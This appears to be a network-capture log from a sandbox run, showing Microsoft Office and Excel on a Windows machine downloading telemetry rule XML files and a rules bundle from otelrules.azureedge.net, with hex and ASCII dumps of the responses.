2024-10-29 19:38:12 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:12 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:12 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:12 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 27230864-a01e-0070-6533-26573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193812Z-17c5cb586f64v7xsc2ahm8gsgw00000001z0000000009m3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:12 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:12 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:12 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:12 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193812Z-15b8d89586flzzksdx5d6q7g10000000026g000000003nnv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:12 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:12 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:12 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:12 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193812Z-16849878b78bcpfn2qf7sm6hsn00000008hg00000000q97w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:12 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:13 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:13 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:13 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 903d1aff-701e-0050-019c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193813Z-16849878b78p8hrf1se7fucxk800000007sg00000000vtmn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:13 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:13 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:13 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:13 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 6b4870b1-101e-0034-5fde-2896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193813Z-r197bdfb6b4grkz4xgvkar0zcs00000006hg00000000kg9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:13 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:13 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:13 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:13 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 4e9c2d7b-a01e-0053-0a2e-278603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193813Z-15b8d89586fmc8ck21zz2rtg1w000000043g00000000k5sz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:13 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:13 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:13 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:13 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6ac6ea93-701e-0001-1898-25b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193813Z-15b8d89586fzhrwgk23ex2bvhw00000009xg00000000ande x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:13 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:13 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:13 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:13 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193813Z-16849878b78sx229w7g7at4nkg000000054g00000000v0zp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:13 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49863	13.107.246.45	443	5012	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:13 UTC	219	OUT	GET /rules/excel.exe-Production-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:14 UTC	569	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:14 GMT Content-Type: text/plain Content-Length: 1112556 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:35 GMT ETag: "0x8DCF753BA4743C2" x-ms-request-id: 0dca9243-e01e-003c-7f0a-2ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193813Z-16849878b78q9m8bqvwuva4svc00000005hg000000009tz3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-29 19:38:14 UTC	15815	IN	Data Raw: 31 30 30 30 34 32 76 32 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 34 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 55 58 2e 44 65 73 6b 74 6f 70 2e 4f 66 66 69 63 65 54 68 65 6d 65 2e 41 70 70 2e 49 6e 69 74 22 20 41 54 54 3d 22 63 34 33 38 38 63 39 37 37 32 39 37 34 31 33 62 62 30 35 34 62 61 64 31 61 63 66 30 61 64 65 31 2d 63 63 35 38 65 35 33 65 2d 66 35 61 34 2d 34 66 33 37 2d 62 30 64 32 2d 39 61 38 30 37 39 65 33 34 34 32 30 2d 36 38 37 39 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 63 6d 39 79 35 Data Ascii: 100042v2+<?xml version="1.0" encoding="utf-8"?><R Id="100042" V="2" DC="SM" EN="Office.UX.Desktop.OfficeTheme.App.Init" ATT="c4388c977297413bb054bad1acf0ade1-cc58e53e-f5a4-4f37-b0d2-9a8079e34420-6879" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="cm9y5
2024-10-29 19:38:14 UTC	16384	IN	Data Raw: 22 33 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 41 75 74 68 6f 72 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 30 31 31 37 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 31 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 38 79 6c 6c 66 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d Data Ascii: "3" O="false"> <S T="1" F="AuthorCount" /> </C> <T> <S T="1" /> </T></R><$!#>100117v0+<?xml version="1.0" encoding="utf-8"?><R Id="100117" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="8yllf" /> </S>
2024-10-29 19:38:14 UTC	16384	IN	Data Raw: 50 6f 73 69 74 69 6f 6e 46 69 76 65 50 6c 75 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 53 55 4d 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 41 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 37 38 31 76 31 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 37 38 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 Data Ascii: PositionFivePlusCount"> <A T="SUM"> <S T="1" F="11" /> </A> </C> <T> <S T="2" /> <S T="3" /> </T></R><$!#>10781v1+<?xml version="1.0" encoding="utf-8"?><R Id="10781" V="1" DC="SM" T="Subrule" xmlns=""> <S>
2024-10-29 19:38:14 UTC	16384	IN	Data Raw: 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 30 30 30 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 Data Ascii: </O> </R> </O> </F> <F T="6"> <O T="AND"> <L> <O T="GT"> <L> <S T="1" F="0" /> </L> <R> <V V="1000" T="U32" /> </R>
